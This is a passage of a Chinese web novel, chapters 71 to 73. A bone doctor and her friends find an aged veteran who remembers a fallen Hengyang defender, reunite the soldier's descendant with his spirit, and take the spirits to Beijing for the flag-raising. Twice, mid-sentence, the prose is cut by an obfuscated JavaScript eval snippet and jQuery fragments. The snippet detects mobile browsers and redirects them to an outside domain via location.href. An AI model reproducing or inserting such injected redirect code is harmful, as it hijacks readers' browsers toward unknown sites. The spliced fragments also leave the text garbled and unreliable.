“小同志,你们绕到庙的后头去,后面有退路,你们快走吧!”指战员握紧手里的枪,“如果你们真是未来的人,那回去以后替我们多看看新社会。” “您还没告诉我们您的名字呢!”阚铭想记住这些人,但再开口,却发觉对方已经听不到了。 又一次战斗发生在眼前,只是这次没有上一次那样幸运。四个后来人和战士们中间隔了一层不可逾越的屏障,他们眼睁睁看着刚刚还围在身边的人一个个倒下,看着整齐的军装被血染红。那位个头不高的连长在拉响了手榴弹之后,消失于烟雾中,没有人知道他叫什么名字,也没人知道他是哪里人。 天亮了,硝烟散尽,芦苇荡里的芦苇少了一大半。仓鸮又一次发出了凄厉的叫声,鲜血染红的土地上飘荡着几条绑在烈士袖子上的红布,叫人既生出无限敬意,又觉得无比难过。 这片阵地上还躺着敌军的尸体,他们眼下乌青,身上也有些浮肿,姜泠一看便知道是怎么回事——传说,在有大量人死亡的现场,会时常有一些磁场扰动的现象发生。在这样的磁场中,因为人数众多,这里所汇集的,离世前的种种情感自然也比一般的死者要多上百倍。因而活人经过这里,会遇到一些怪事;离世前情感重的逝者也将停留于此,日复一日地重复自己死前的经历。 “这些前辈们或许还留有遗憾吧,所以他们一直在重复这场战斗。我们也阴差阳错误入其中,所以才会看到昨天晚上那些事。” 姜泠刚说完,眼前的战场便慢慢换了模样——烈士的遗体在土地上渐渐隐去,芦苇荡也没了踪影;爆胎的房车就在正前方停着,两侧是来时走过的山丘。 “有信号了!”彭越拨通了公路救援电话,得到接线员在半小时以内派人赶来处理的回复。 这一次换成阚铭一步三回头了——她不敢想自己那位未曾谋面的太爷爷是如何牺牲的,但她打心底里希望他们有机会看到今天的世界。 “有没有什么办法能让这些先辈们不被困在这里?”上了车,凌岓才问出自己想问的问题。 “或许有。”姜泠的回答很少让人失望,“等到了目的地我再看看,如果收获大的话,我说不定还有办法带他们看看今天的国家是什么样。” 71. 第七十一章 老兵村 万里无云,层林尽染。沿路层层叠叠的金黄秋色让经过的人大饱眼福,公路救援到达的时间比接线员预想的更早,他们帮忙换了个新轮胎,还十分友好地祝几位旅途不算顺利的游客一路顺风。 之后的路途顺利许多,绕过最后一座小山丘,老兵村近在咫尺。说是老兵村,实际上这只是一个来往过客对这座村落的通俗称谓。这座村落真正的名字叫青田村,因村子里有梯田而得名。 青田村很有世外桃源的样子——条条错落的田埂如同登天的步步阶梯,涓涓溪水在梯田脚下环绕一圈后向东流去,山中薄雾弥散,雨后青草的气息让人昏昏沉沉的头脑变得清醒起来。 田埂上站着几个撸起裤腿的农人,他们把草帽背在身后,一边抱着大水壶一边闲聊。按照老郑朋友给的地址,沿着这片梯田往前走,走到村尾倒数第三家就是那位老兵的住处了。 只有起错的名字,没有起错的外号。这句话放在地方上也一样适用。老兵村,顾名思义,住着老兵的村子。村里许多老人都是参加过战争的,他们有的是在战争结束后回到了家乡的人;有的则是某场战役中的幸存者,伤好以后在这里安家落户。 走到村尾倒数第三家时,四个外来的年轻人已经见到了许多老兵。他们大多都上了年纪,但精神头都还不错,看见这些外人进村,该有的防备心一点都没少。 郭卫国今年已经八十九了,可他仍然保持着每天清晨起来跑步锻炼的习惯。今天跑完步,他突发奇想从后门进家,刚巧碰见在后门旁边四处张望的彭越。后者只是敲门无果,所以才来后院看看家里有没有人,结果却被老人当成了贼。 前门的三人闻声赶来,只见彭越被老人拧着一只胳膊抵在墙上,嘴上正在试图辩解来意。因为年轻时候受到炸弹炮火的影响,老人的听力并不很好,他看着彭越一张一合的嘴,既听不清,也没打算知道对方在说什么。 老人要把彭越扭送到村镇派出所“法办”,一抬脚看见另外三人,立马又变成防御状态,“还有同伙?” “啥同伙啊,同伴!”老人手劲儿不小,彭越只好别着身子让自己舒服一些。 村子就这么大,一家出了点事,不用半天,全村都能知道。老人和彭越这边还没僵持完,隔着墙缝偷看了半天的领居家小孩已经把大半个村子的人都叫来了。 于是,正在田埂上务农的村民抄着农具赶过来了;在村口围成一团闲聊的村民也赶过来了,声势浩大,连村支书和村长都跟着过来了。 “咋个了?”村长从人堆里挤出来,第一件事是先把郭卫国和彭越两人分开。 “抓到一个小毛贼,正准备移交给警察同志。” “贼?” “不是贼,是来旅游的。”彭越揉了揉自己的胳膊,解释道,“真是来旅游的,听说你们村子有好多抗战老兵,我们特意带了点东西过来探望一下。” 村长打量着外来人的装束,又拿着老花镜看清楚几人的车票,当即便明白过来这是个大乌龙。 “散了散了,都散了吧!”村支书在人堆里吆喝,又摸了摸穿着背带裤小孩的头,嗔怪道,“你这个通讯员当的不合格,完全是谎报军情嘛!鉴于此,两颗糖变一颗糖,下次要听清楚了再来报信!” “小通讯员”嘿嘿一笑,拿着糖去别处找朋友们了。村长很热情地捏了捏彭越的胳膊,“怎么样小伙子?要不要紧?” “没事,这算个什么事。”胳膊总算有点知觉了,被误会的人由衷感叹了一句,“老爷子真是老当益壮,这灵敏程度不减当年呐!” 村长和村支书有点不好意思,干笑了两声之后,也不知究竟该表扬郭卫国警惕性高,还是该批评他总能闹出这样的乌龙。老人揣着袖子往边上挪,自己也觉得无辜——这个年轻人在自家后门张望的样子太过鬼鬼祟祟,怎么看都不像好人。 “就是一场误会,要不你们先去我家喝点茶?”总的说来,青田村上至村干部,下到普通村民,大家都还是十分热情好客的。尤其是快到国庆小长假了,村干部也怕游客在网上发布一些避雷贴,会影响到本就不算多的客流。 “谢谢您,但不喝了。”凌岓猜到了村长和村支书的担心,宽慰二人道,“您放心,我们不会在网上乱发的。这次来主要是看看老兵,然后也有点事要问问郭爷爷。” “哦,你们不会是记者吧?”村支书突然想到这茬,“前阵子宣传部门说会有一批记者过来采访我们这里的老兵,你们不会就是吧?” “我们是自媒体,但也主要是想帮忙找人。”凌岓本来也打算办完正事以后再多探望几个老兵,把他们的故事整合一下发给关扬写成报道,权当给老兵村做宣传了。 “哦,那你们和老郭先聊。聊完以后可以来村委找我,村里头老兵的情况都不一样,我给你们安排一下。”村长一颗悬着的心放回肚子里,走之前凑近郭卫国耳朵大声说,“老郭!这几个崽是记者,你好好跟人家说话!” “啥子?”老人没听清。 “记者!好!好!说!话!”村支书一个字一个字地吼,老人这才点了点头。 这座村子虽然不大,整体条件却不错。村子里的路虽窄,却也干净整洁;家家户户都窗明几净,郭卫国家也不例外。老人在几年前盖了新的自建房,房子共有四层楼,外表是当初家中孩子们选定的小洋楼样式。 郭卫国的老伴很早以前就去世了,儿女孙辈平时在别的地方工作,现在这个家里只有他一个人。他吃住都简单,每天锻炼完就在后院里照顾他的蔬菜苗,自己也乐得清闲。 老人端了四杯茶,里面泡的是自家炒的茶叶,抛开刚才的误会不谈,这也是个和蔼可亲的老爷爷。他坐得板正,等待年轻客人先开口,结果对方先夸了两句,他便忍不住又把自己年轻时的故事讲了一遍。讲到激动处,老战士还不忘把自己得过的功勋章拿出来展示,自豪极了。 耐心听老人把自己的故事说完,年轻来客才讲明意图。阚铭把自己此行的目的说清楚后,将太爷爷的家信和一张老照片递给郭卫国,期待对方能想起些什么。 老兵拿着照片翻来覆去地看,几次站起身又坐下,一会儿在客厅里来回踱步,一会儿又把自己关进房间半天不出门,就是不说出个定论,叫人干着急。 “来之前我特意查了资料,当年的衡阳保卫战投入了四个师的兵力,统共加起来大概有一点七万人。这么多人,相互之间不认识也正常。”老人还没从房间里出来,阚铭心里急,嘴上却不能催。故此,凌岓先给她打一剂预防针,以防结果不如人意时,她太过失望。 房门被打开,老人终于出来了,可还是没说答案。他换上了自己的老军装,把绿军服整理得一点褶皱都没有,然后又翻出军帽和解放鞋,准备出门去。 “走,我带你们见个人!“老战士一挥手,年轻人便跟着他一起走。 “去哪儿?” “不知道。”—— 跟着老人从村尾走到村头,一路上都没听他多说一句话。走到一户两层楼的自建楼前,郭卫国铆足了劲,一边拍门一边喊,“老夏!老夏在家吗?是我,郭卫国!” 光听他这么喊,姜泠还以为这位“老夏”和郭卫国关系很好,结果看到屋中人开门后一脸不悦的表情,她就不这么认为了。 “叫死哦你!” 开门人也是个祖籍四川的老兵,他比郭卫国只大了三个月。从抗战到解放战争再到越战,这两人始终在一个部队里,可关系却是时好时坏。前一阵郭卫国借了他的钉钯迟还了几日,两人的关系便又从好战友跌入谷底。 “你那个心眼比针尖尖还小。”老郭头翻了战友一眼,“为了一个破耙子,生气生到现在,大不了我还你一个。” “前辈,说正事儿…”彭越在一旁好心提醒。 “说正事!这个女娃是你当年那老乡,叫阚兴华,他的孙女。” “曾孙女。”阚铭小声纠正,郭卫国也没听到。 “她现在想来问下阚兴华当年的事情,我不太熟,你要是记得,你跟他们讲一讲。” 老夏一听,把门开大,闷声说,“进来吧。” 阚铭先前已经做好了大海捞针颗粒无收的准备,谁成想竟然真能这么顺遂地找到太爷爷的同乡兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774091|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这么一来,就算不知道具体的埋骨地点也没关系,至少她能有机会听到太爷爷当年的经历。 把客人留在客厅,老夏自己一头扎进地下室,很快便拎着一个生锈的铁箱子上来了。箱子打开,里面全是零零碎碎的老物件,每一个看上去都很有年头了。 “爷爷,这都是些什么东西?” 比起彭越古董店里的藏品,老夏箱子里的这些可以称得上是毫无价值——除了掉页的笔记本和脱帽的钢笔,还有民国年间的身份证、会变形的戒指,褪色的徽章、碎了一半玻璃盖的手表和缺胳膊少腿的老式眼镜… 老夏在铁箱子里翻来倒去,找了老半天也没找到他要的东西。他回到地下室,又拿出另一个放满“杂物”的箱子,这次总算翻到了他要找的物件——一支掉了漆的钢笔。 “这个你收好。”钢笔被交给阚铭,老夏说,“这是我们连附的东西,他死以前托给我的。” “连附?” “就是阚兴华,你太爷爷。”老战士把两只铁箱子擦了一遍,他的普通话不太标准,却能把人带回战火纷飞的年代,“他是我的连附,守衡阳的时候牺牲的。” 老夏,全名夏正德,祖籍四川广安,1921年生人,参加衡阳保卫战时,他刚满二十三岁,是守城连队的通讯兵。据他回忆,那场战役打得极其惨烈,到最后,他们这一支近150人的连队只剩下他一个人生还。 1944年六月末,日军抵近衡阳西南,夏正德和阚兴华所在连队的阵地就在这个地区最靠前的一片高地上。这处阵地能迟滞敌军对交通枢纽的攻击,因此他们的任务并不简单。 战斗打响以后,日军以中队规模的兵力对高地开展极其猛烈的攻势。山炮、迫击炮接连对准阵地轰炸,再加上飞机和重机枪的配合,将士们守得极为艰难。饶是如此,他们依旧没有后退,在阵地上守了三个昼夜。 “到第三天,我们已经没得弹药了,通讯设施也被炸毁了,除了和小鬼子肉搏,别无选择。我们连附,就是你太爷爷,就是在最后刺刀战里头牺牲的!你别看他平日里头戴着个眼镜,像个书生,但是他关键时候顶用得很!我亲眼看到的,光他一个人就弄死了四五个小鬼子,凶得很!” “为了和指挥部联系到,连长叫我去找我们团长。再后来…我就成了我们连唯一一根独苗苗了。” 说到这儿,夏正德眼眶有些泛红。他低着头,因为有所隐瞒而不敢正视阚铭——无他,只是因为当年的他在离开阵地以前,亲眼目睹了阚兴华的牺牲:半条被炸断的腿,身上有四五个血窟窿,有四五个敌人围着阚兴华一人,可即便如此,他还是没让这些敌人讨到半点便宜——在刺刀刺穿身体以前,他拉响了手榴弹;爆炸声后,阚兴华和敌军一同消失在了硝烟之中。 “后头的战斗我也参加了,真的是弹尽粮绝唉!啥子军医、老师、学生,城里的大多数百姓,到最后都参与进来了。只要有机会,我都会从牺牲的兄弟们身上拿走一些贴身的东西,记到他们的名字,只要有人记得,他们就还活着。” 老夏拍拍自己的两箱“宝贝”,不无自豪地说,“你们可能觉得这都是破烂,但我不这么觉得。你们来以前,我已经找到了好几位战友的家人,把他们的东西还给他们屋头的人,就当是我送他们回家咯。” 攥着那支盖不上盖子的钢笔,笔杆上还有已经结块了的黑色血污,阚铭没觉得脏,只觉得百感交集。她几度想开口感谢,却怎么都说不出一句完整的话来。 “老夏同志,您还记得阚兴华同志牺牲的具体位置吗?”彭越握着夏正德的手,替同伴说出了她没说出的话。 “这么多年过去了,样子也都变了。要是真能找到当年战友们牺牲的具体地方,我哪还用得着去那个小山包包祭奠他们?” 能找到太爷爷的物件已属意外收获,找不到埋骨地这件事作为遗憾,阚铭也不再有更多奢求了。她刚要开口感谢,姜泠却已经抢先一步为她弥补遗憾了。 “只要有了这支笔,我就能找到你太爷爷牺牲的地方。不仅能找到他的埋骨之处,说不定还能替他实现生前的愿望呢。” 72. 第七十二章 家信 银白色的小蛇在钢笔上游走了一圈,然后绕回姜泠的手腕。自六溪以后,凌岓就没怎么再见过蛇的踪影了,现在一看,竟然还觉得有种久违的熟悉感。 “跟我走吧。”骨医有骨医的职业道德,譬如现在,姜泠又回到了从前颇有把握的样子。 “去哪儿?”彭越和阚铭不约而同问。 “去找你太爷爷。”发言人凌岓上线,也没忘了叫上两位老战士一道,“您要不要和我们一起去?去见见老战友。” “去!”两位老人一听这话,更显精神矍铄,“但是你们稍等,我得去收拾收拾。” 夏正德又一次把自己关进了房间,一见他这样,郭卫国忍不住笑出了声。 一转眼,夏正德也穿上了他的旧军装。对上年轻人诧异的目光,他反倒有些不好意思了,“当时受了伤,身上穿的衣服早就破了。这个是后来解放的时候穿的,也很珍贵勒!” 阚铭觉得两个老人很可爱,自然而然就上去搀着他们。旧军服的绿色在阳光下很好看,老人的衣服上还有一股淡淡的肥皂香。阚铭走在两个老人中间,恍惚间好像回到了小时候—— 以前奶奶身上也有这种以前的洗衣粉的味道。奶奶抱着自己在乡下院子的躺椅上摇啊摇,衣服上的洗衣粉香味就飘啊飘,既有天空的味道,又有青草的味道。后来阚铭再大一点才发现,那实际上是奶奶的味道。 自从在青田村定居以后,老人们就没怎么出过远门了。第一次坐房车,里面的一切对他们而言都是新奇的。问完这个问那个,等到一房车里的陈设装备都被解释完了,姜泠指挥的目的地也到了。 车停在山岗下,人步行往上走大概十分钟左右,就来到了山岗上。站在岗上向下望,一望无际的绿野边上缀着点点金色,秋意正浓,谁又能想到这里的土地下埋葬着守卫者的遗骨。 山岗上开着不同颜色的小雏菊,风一吹,小花轻轻曳动,给高岗增添了无数生命力。玉玦躺在主人手里,第一次发出这么柔和的光。 姜泠以前没亲眼见过寻骨寻到逝者亡魂的场景,她一般只是完成自己该做的事项,然后等待活着的人和亡魂团聚以后,直接就这笔生意进行结算。至于逝者重现到底是个什么样的场景,她看不到,也不在意,所以通常都按照师父描述过的情景脑补。 这次和以往看似也没什么不同,可骨医自己又实打实觉得哪里不太一样了。她心中生出一丝期待,但如果追溯下去,她也不懂为什么会有这样的情感。 玉玦的光芒没有太阳刺眼,却足够照亮一方土地。当第一个逝去多年的人在浅金色的光中出现时,岗上众人皆一愣。 “诶,这这这…这不是昨天晚上那个?”阚铭结巴着认出来人,他是昨晚那个牺牲在芦苇荡里的连长,此刻他站在面前,身上的血污没有了,衣服上的枪洞也没有了。 陆陆续续有更多逝去的人在这片高岗中出现了,他们走的时候身上沾染着泥土、血迹和炮火烧出的焦洞,归来时,这些都没有了。流血的伤口处没有疤痕,军服也是干净整洁的样子。 战士们咧着一口白牙朝他们笑,看起来就和刚毕业的大学生们差不多大。两个老人站在曾经的战友中间,竟然有些违和。 “你头发都白了。”逝者中肤色最黑的男人棱角分明,他揉了揉夏正德的头发,似乎面前的老人还是当年的学生兵,“刚见你的时候还是个娃娃,枪都不敢摸一哈。一转眼,你都成老爷爷咯!” 比起重逢时略显无措的大活人,这些归来的逝者反而更加通透。他们知道再见不易,也知道这一次重逢是真正的永别。正因如此,那么多说不完的话也不得不长话短说。 阚铭和她太爷爷的眉眼十分相像。没有苦情剧里抱头痛哭的戏码,祖孙两人一见面先是相视而笑,然后和许多爷爷奶奶一样——阚兴华问完家里所有人的情况以后,着重打听了阚铭的学习、工作和感情生活。 听说自己的曾孙女学的专业很小众,还曾因为在省级文物修复工作中表现突出而获得过表彰,这位曾祖父高兴极了。死去的人不会变老,阚兴华站在曾孙女身旁,一个劲儿地给战友们介绍自家小辈的成就。他的战友们投来羡慕的眼光,祝福之词不绝于耳。 “真好。他们要是都能见到自己家人就好了。”彭越一个大男人,见到此情此景却觉得自己鼻头一酸,险些落泪。 “他们还有多长时间?”凌岓问。 “玉玦的光散尽了,他们就该离开了。”姜泠答,心里已经猜到了问这话的人想要做什么,“你可以问问他们,还有什么愿望想实现。我的血能续一段时间,最多五天,也能干很多事了。” 凌岓感激地点点头,一溜烟挤进了人堆里。也不知他说了些什么,总之人群里很快就炸了锅,欢呼雀跃起又落,难得在战士们脸上看见欣喜若狂的表情。 太阳又在天上挪了挪步子,几阵轻风吹过,山岗上的花草自由地舒展着身体,甚至让人闻到一股似有若无的香气。人群向两边散开,让出一条小路,凌岓也龇着一口白牙笑,仿佛收获了什么不得了的果实。 “问完了?” “嗯,问完了。”刚从人群里钻出来的身影回答,他身后跟着一道道期盼的目光,“老前辈们愿望比较多,五天时间太短,恐怕实现不过来。” “那最后商量出什么结果了?”默契不是说说而已,凌岓一开口,姜泠就知道他一定有一个最终结论。 “总的说来,可以归纳为两个愿望。第一个愿望我来帮他们实现,简单说来,就是替他们写一封家信,然后送回他们的家乡。我一会儿和老彭、阚铭问问他们的名字、地址还有家里人,然后替他们写信寄回去。我们都说好了,如果到时候没人收的话,我和老彭就替他们回去看看。” “合理。”姜泠问,“那第二个愿望呢?” “他们想去首都,想去看看升旗仪式和天安门。”说这话时,后面高矮站立的人们目光殷切,看得凌岓也不好意思拒绝,“因为都想去,所以我们可能…得麻烦你。当然,如果没办法的话也没关系,这些老前辈们很好说话的。” “我看起来,是不是很不像人?”姜泠这话问得没头没脑,把站在跟前的人问愣住了。 “什么?” “没什么。”骨医叹了口气,无奈笑道,“我只是想让你明白,我倒也不是那么没人性。看升旗的事情你放心,我有办法让他们都看到,你们先去写信吧。” 凌岓深深吸了口气,狠狠鞠了一躬。这已经是他不知多少次觉得姜泠面冷心热了。 “一个一个来,莫着急!莫着急!”夏正德和郭卫国总算和好了,更为难得的是,他们竟然无比一致地向这几个年轻人投来一个感谢的眼神。 小蛇被收回盒子里,骨医手心的鲜血淋在玉玦上,金光更亮,也更让人觉得温暖。姜泠看着人群里一张张不同年份甚至不同时代的面孔,自己都没意识到自己脸上不知不觉间挂上了笑。 “等你什么时候能学会真真正正、发自内心地笑了,你就算有半颗心了。” 师父的话突然在耳边响起,姜泠一怔。笑是件最平常又最简单不过的事情,以往她也会笑,但不是出于无语至极的冷笑,就是出于无可奈何的苦笑。今天似乎有点不同,她第一次真真切切有了被需要的感觉,无关名利,只是尽己所能为逝者弥补遗憾就足够了。 战士们中的许多人不认字,着急起来,手脚并用比划着自己想说的内容。眼前人头攒动,没有人能只在一旁围观,看着看着,姜泠也和同伴们一起参与到“写家书”的活动中去了。 “李二柱,山东临沂人,家住沂蒙山…” “还有额!陕西滴!陕西西安人,十六岁了…” “你就写,写我一切都好…也不对,我已经死了…那你就说是我的战友,问问我家里人好着没有。” 好在打字比写字更快,除了个别人对自己家乡的印象有些模糊外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781651|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有什么太大的难题存在。 记好以后,姜泠让另外三人回到车里,自己则留下来为实现第二个愿望做准备。 “开了眼了,这是正儿八经开了眼了。”在车上,彭越百思不得其解,“我以前一直以为说能通灵的都是在装神弄鬼,结果居然真的有这种超能力,牛哇!” “再怎么说,能再见到他们一面,老子死而无憾咯。”夏正德打心底里高兴,他曾去过天安门,也曾见过升旗。那时他心里想的是,如果当年的老战友们也能看到太平盛世就好了。 “不过好在遇到的是先辈们。糖不见了的时候,我还以为是那种鬼片里的撞邪来着。”阚铭点了点自己的零食,又觉得不够,“早知道多带点儿了。说是先辈,实际上好几个人都比我还小,要是他们都能吃到这些就好了。” 凌岓没说话,依他对姜泠的了解,愿望实现以后,恐怕见证过这一幕的同伴们也会和六溪村的村民一样——吃一顿饭或者喝点什么,然后忘得一干二净。 半晌,姜泠从山岗上回到车里,玉玦的金光已经散去,她看起来也是一副风轻云淡的表情。 “走吧,先回去抄信。” “抄信?”彭越的疑惑溢于言表,“这就完了?” “该我做的都做完了,剩下的要看你们了。”骨医往后一靠,语气中半是威胁半是劝阻,“不过,在愿望实现以前,你们不能把今天看到的事情往外说,否则所有的努力都会付诸东流。” “不说,不说。”阚铭刚想发朋友圈的手悄悄放下,她已经准备时刻看住自己的嘴。 凌岓坐在副驾假寐,心里却暗暗偷笑——后面人威胁的本事没多大,效果却还不错,至少暂时阻止了“灵异事件”被传播扩大的可能性。 来时在路上花的时间很长,回去时却一转眼就到了。年轻人问村长要了厚厚一沓信纸,一回到郭卫国家里就开始照着备忘录里的内容伏案誊抄。 好的分工会让人事半功倍,现实也的确如此。回来的路上,凌岓将记下来的电话分别发给了卫斯诚、老郑、之胖和关扬,于是乎赶在其他人着手抄第五封家信之前,就已经把家书主人们家里的情况摸了个七七八八。 “这个不用抄,他家里已经没什么人了。” “二柱的也先放一放,老郑那边打听到的消息说这个地址已经整村搬迁了,我们到时候自己去新地方找一找。” “这个在,这个在。他儿子和女儿都活着,今年也都七八十了.” …… 只有五天时间,连熬夜带动员,算上给卫斯诚和洪钟分配的任务,也还是觉得紧巴巴的。抄信人只恨自己没多长几只手,点灯熬夜地写,连飞带跑又尽量工整地赶,总算把近上百封家书抄得只剩下十封。阚铭伸了个懒腰,十分有成就感;彭越眼下冒出两块乌青的黑眼圈,堪比人形大熊猫。 一晚上没合眼,姜泠仍旧神采奕奕,她不知道有人在心里给她起了个姜头鹰的别名,只顾着在背包里翻东西。 “这些就是我们去天安门要带的。” “姜头鹰”把一包形状和大小都相同的小瓶子放在桌上,里面装着颜色深浅不一的粉末。 “这什么?”彭越打着哈欠问,“不会是什么生化武器吧,那可不兴带啊,我们会被机场安检扣下的。” “一个瓶子一个人,带过去,他们就能如愿以偿看到升旗啦。” “问题这么多,升旗的时候拿出来,还是会很奇怪吧。”阚铭没法想象在看升旗的时候捧着这一堆瓶瓶罐罐是什么场面,她倒是觉得这么做十有八九会被当成精神有问题的人抓起来。 “这倒是个问题。”姜泠有点犯难,转而看向帮老人把豆浆端上桌的凌岓。 “先吃饭,吃完饭投递。” 凌岓似乎早已经考虑过了这些问题,一点没有为难的表现。老人特意买了油条和包子,闻言也招呼剩下的人,“办法总比困难多,先坐下来把饭吃了。” 73. 第七十三章 如愿(上) 玻璃瓶子变成了玻璃手串——这是姜泠万万没想到的办法。深浅不一的粉末都装进了一颗颗珠子里,然后被有弹力的细线串起来,戴在手上不细看的话,还以为是和流沙手机壳同款的手链。 “你别说,还挺好看。”阳光从玻璃珠子中照进来,彭越由衷觉得这条手链很时尚。解决了这个问题,他总算能坐定喝口茶,结果又听见姜泠说—— “戴的时候小心点儿,这里面的东西就像人的骨灰一样,很珍贵的。” “噗”——一口热茶没忍住喷了出来,彭越差点没当场一个倒栽葱栽倒过去。 “信件都安排好了,休息休息准备出发。”碰巧凌岓寄完信回来看见这一幕,他大概猜到发生了什么,笑着把手链装进包里。 翌日一早,四个年轻人和两个老人浩浩荡荡出发了。除了升旗,活着的人还想让逝去的人再看看更多的风景,故而这次没有选择飞机,而是踏上了一列绿皮卧铺。 凌岓小时候很喜欢坐火车,不仅因为火车在铁轨上飞驰而过时那种咣当咣当的声音,还因为在火车上能看到沿线不同的景色。一列车从南开到北,车上的乘客就有机会从金黄的浓郁秋色看到一场最早的雪。 “要是有更多时间的话,应该带你们坐坐高铁。”彭越坐在车厢靠窗的折叠凳上对着手串自言自语,“高铁比卧铺还快,从你们家乡到首都,一天之内差不多都能到。” 火车在秋景里驶过,给人一种乘坐在时光机上的错觉——过了秦岭淮河线,铁轨两边就不再是金灿灿的一片了,取而代之的是略显苍劲的连绵山脉,还有一阵风就能卷下大把叶子的树。 不得不说这是个很巧妙的时候。恰逢国庆,大街小巷都挂着国旗,街上的广告牌、出租车后的灯牌和各种店面的LED屏幕上的内容都大同小异——要么是喜迎国庆、欢度佳节,要么是神州同庆、共谱华章。 往年一到这个时候,热点话题通常是调休、抢票,所以作为灵活就业人员的姜泠并没有什么特别浓烈的感触。今年不一样,今年带着替先辈们圆梦的任务而来,即便是平时拥有的情感寥寥无几,在师父和周围人二十多年如一日的熏陶下,她也油然而生一种使命感和自豪感。 “幸亏我们没在三十号和一号坐车,要不然连站票都抢不到。”离正式放假还有两三天,首都车站已经挤得满满当当,彭越往前走十步的路程,已经被踩了十几脚,磕到了至少五个人的头顶。 “堪比广州地铁三号线。”阚铭冷不丁冒出来这么一句——作为一个无时无地都能吃东西的人,只有在广州地铁三号线和春运、小长假的机场车站中才能让她收敛。 “上海地铁二号线也是当仁不让。”凌岓总算挤出了检票闸机口,“我曾经有幸体验过带着茶叶蛋上二号线,等到站以后,茶叶蛋就变成了茶叶蛋饼。” 正说着,从闸机口挤出来一个扛着大包的中年男人。他只剩下一只鞋了,刚一来就把包放到便民资讯站边上,单脚跳回去找另一只鞋。 沿着闸机口走到网约车站点,那场面更是壮观。颜色各异的车辆挤在停车场中,司机无一例外地往外探头,一时间,叫骂声、鸣笛声和行人错愕的疑问声夹杂在一起,好不热闹。 “京B……”彭越在看车牌,看了半天又找了半天,还是没找到车在哪,“这都显示已到达了,到哪儿去了?” “是不是那辆?红旗,京B。”阚铭眼尖,一眼就找到了挤在车流里的一抹炫酷薄荷绿色。 上了车,郭卫国直捂心口,“挤死了,真是挤死了。上一次这么挤的地方还是长沙,我姑娘带我去,除了人啥都看不见。” “国庆节嘛,有假期有情怀,挤一点也很正常。”彭越系好安全带,一样心有余悸,“去年我开车回家,三十号晚上出发的,堵了两天才到家。这么一比,今年算是很幸运了,不仅能捡漏到火车票,还能打到车,很好了。” 走走停停,小长假前的路况就是一路堵到目的地。在经历了漫长的堵车后,终于来到了酒店门前。能在这种程度的车流中挤出一条路,把乘客送到目的地的司机不简单,当然,代价是乘客差点被晃吐。 “多亏了自动扣费。”下车看到蓝天,阚铭才感觉头晕目眩好一点,“怎么安排?先去景点,还是先去吃点什么?” “自由活动吧。”彭越办完入住,刚巧听到这个问题,“想干嘛干嘛,今天自由活动,明天再一起去天安门。” “走了走了,一起走。”凌岓放下行李,把彭越从房间里拽出来,“来都来了,必须得陪老前辈们好好逛逛。” 三拉两扯,彭越的瞌睡劲儿又过去了。他翻了翻阚铭分享来的攻略,昂首阔步向前出发,“走!” 凌岓毕业以前倒是时常来北京,也因此对这里失去了探索的欲望。他每次来,和朋友的对话不外乎如下: “有没有什么好玩的地方?” “没有。长城和故宫人太多,不建议今天去。” “那我们去吃点有特色的?” “你又喝豆汁儿。爆肚、卤煮、涮羊肉,这些都吃过好几回了,还是吃金拱门吧,最有特色。” “金拱门?” “昂,我家楼下就有一家,俗称麦当劳。” 有此先例,凌岓再来也懒得四处找景点走动,这次反倒成了例外。 延禧宫和神武门后河边成排的银杏已经有了变成金黄的趋势。有好几个年轻的姑娘在红墙银杏下拍照,扛着“长枪短炮”的摄影师们时不时会从某个意想不到的路口出现,俨然成为秋景的一部分。 颐和园西堤的枫叶林还没到火红的季节,不过阳光从碧蓝的天幕中穿过,透过枫叶与枫叶的间隙照在人手心上,也一样能让人感受到暖洋洋的秋意。 老舍故居前的柿子树亭亭如盖。丹柿小院的柿子树头顶是万里无云的蓝天,正对着的,是绿色的窗框和朱红色的柱子。再和边缘有点微微泛黄的绿叶和满树梢挂着的橙色果子一搭,远比画里和字里的种种描绘更美。 老人家都爱热闹,逛过了故宫、天坛公园和故居,两位老战士都想去南锣鼓巷看看。来过的人发了不少“避雷贴”,但前来一睹南锣鼓巷风采的游客依旧不少,老人们也跟着人群往前走,乐在其中。 一条街上,咖啡店和各种符合年轻人审美的店面不少。从头逛到尾,两个老人什么都没买,阚铭手里已经分别提了两杯奶茶、一份榴莲饼、一袋枣花酥和一支抹茶口味的蛋卷冰激凌。 “说是来陪前辈们看一看繁华景象,你咋自己吃上了?”彭越跟在老人后面,多少有点不好意思。 “那咋了?我花我自己钱,还不能吃了?” “不是…” “就是要吃,要多吃!”郭卫国折返回来,打断了彭越继续往下说的念头,“那个时候打仗,又苦又累,啥好的都吃不上。现在日子好了,要是连吃口吃的都不行,那不是越活越倒退了嘛!再说,女娃娃多吃一点才有劲,有劲了才能保护自己嘛!” “对头!”夏正德跟在一旁凑热闹,“想吃就吃!钱不够,爷爷请你吃!” 有人撑腰,阚铭自然高兴极了。她挥一挥手里的点心袋子,问刚刚被打断话头的人,“听见了吗?爷爷们都说了,想吃就吃。” “唉,别的姑娘都上赶着减肥,你瞅瞅你这…” 一句话没说完,彭越已经遭受了姜泠的一个白眼和夏正德的一番批评—— 